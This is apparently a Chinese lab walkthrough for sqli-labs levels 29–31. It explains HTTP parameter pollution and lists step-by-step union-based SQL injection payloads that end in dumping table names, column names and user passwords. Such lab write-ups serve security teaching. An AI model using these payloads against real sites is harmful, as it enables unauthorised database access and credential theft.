sqli-labs靶场29-31关(http参数污染)

目录

前言

less29(单引号http参数污染)

less30(双引号http参数污染)

less31(双引号括号http参数污染)



前言

在JSP中,使用request.getParameter("id")获取请求参数时,如果存在多个同名参数,它会返回第一个参数的值。这是因为request.getParameter()方法的设计是返回第一个匹配的参数值。

在PHP中,使用$_GET["id"]获取请求参数时,如果存在多个同名参数,它会返回最后一个参数的值。这是因为PHP的$_GET超全局数组会覆盖前面的同名参数值。

比如:

?id=2&id=1返回的是id=1的请求:



less29(单引号http参数污染)

这一关如果直接union查询注入,就是很基础的sql注入。其实这里考查的是http参数污染注入。

?id=2&id=1'报错------判断为单引号闭合

?id=2&id=1'--+正常回显------确定为单引号闭合

?id=2&id=1' order by 3--+------判断有三处回显

?id=2&id=' union select 1,2,3--+------判断出回显位置

?id=2&id=' union select 1,user(),database()--+------爆数据库和数据库用户:

?id=2&id=' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+------爆表名

?id=2&id=' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'--+------爆字段名

?id=2&id=' union select 1,2,group_concat(id) from security.users--+------ 爆数据



less30(双引号http参数污染)

?id=a&id=1'正常回显

?id=a&id=1"无回显------判断为双引号闭合

?id=a&id=1"--+------正常回显,确定为双引号闭合

?id=a&id=1" order by 3--+------判断有三处回显位

?id=a&id=" union select 1,2,3--+------找到回显位置

?id=a&id=" union select 1,2,database()--+------爆数据库

?id=a&id=" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+------爆表名

?id=a&id=" union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'--+------爆字段名

?id=a&id=" union select 1,2,group_concat(username,password) from security.users--+------爆数据



less31(双引号括号http参数污染)

?id=0&id=2正常回显,?id=0&id=2'正常回显

?id=0&id=2"报错------判断为双引号闭合

?id=0&id=2"--+又报错

?id=0&id=2")--+正常回显------判断为双引号括号闭合:

?id=0&id=2") order by 3--+------判断有三处回显

?id=0&id=") union select 1,2,3--+------找到回显位置

?id=0&id=") union select 1,2,database()--+------爆数据库

?id=0&id=") union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+------爆表名

?id=0&id=") union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' and table_schema='security'--+------爆字段名

?id=0&id=") union select 1,2,group_concat(id,password) from security.users--+------爆数据



相关推荐
CV爱数码3 分钟前
论文精读|RED-CNN:残差编解码网络,低剂量 CT 去噪的经典基线
网络·人工智能·算法·cnn·ct·重建·x-ray
星恒讯工业路由器10 分钟前
Modbus透传和Modbus网关有什么区别?从字节转发到协议翻译的选型思路
网络·物联网·modbus·工业物联网·工业网关·rs485·协议转换
李&@杰24 分钟前
交换机PoE供电不足导致AP反复重启故障处理
网络·华为
香蕉大香蕉(06敬畏市场)24 分钟前
高频八股 · Java 并发编程(10):异步、ThreadLocal 与虚拟线程(收官)
java·开发语言·网络·jvm·python·ai·实习
jaysee-sjc44 分钟前
【苍穹外卖】Day10:定时任务与 WebSocket 实时提醒实战
java·开发语言·javascript·数据库·vue.js·websocket·网络协议
钱工的门窗技术笔记1 小时前
铝木复合门窗中木材的角色分类与界面可分解性:结构判定、失效路径与维护设计
网络·物联网·数据分析
xianyuCcCcCCCcc2 小时前
Kubernetes Service 与网络代理
网络·云原生·kubernetes
未来之窗软件服务2 小时前
诡异的网络IP/域名/ICMP通应用层失败骨干网分层拦截分析-东方仙盟
网络·tcp/ip·智能路由器·dns劫持·仙盟创梦ide·东方仙盟
星恒随风2 小时前
Linux Socket UDP编程(一):手写UDP回显服务器与客户端,从socket、bind、recvfrom到网络字典服务器完整实战
linux·服务器·网络·笔记
幻智星科技2 小时前
我砍掉了FPGA里的ARM核项目反而提前交付了
arm开发·网络协议·fpga开发·硬件架构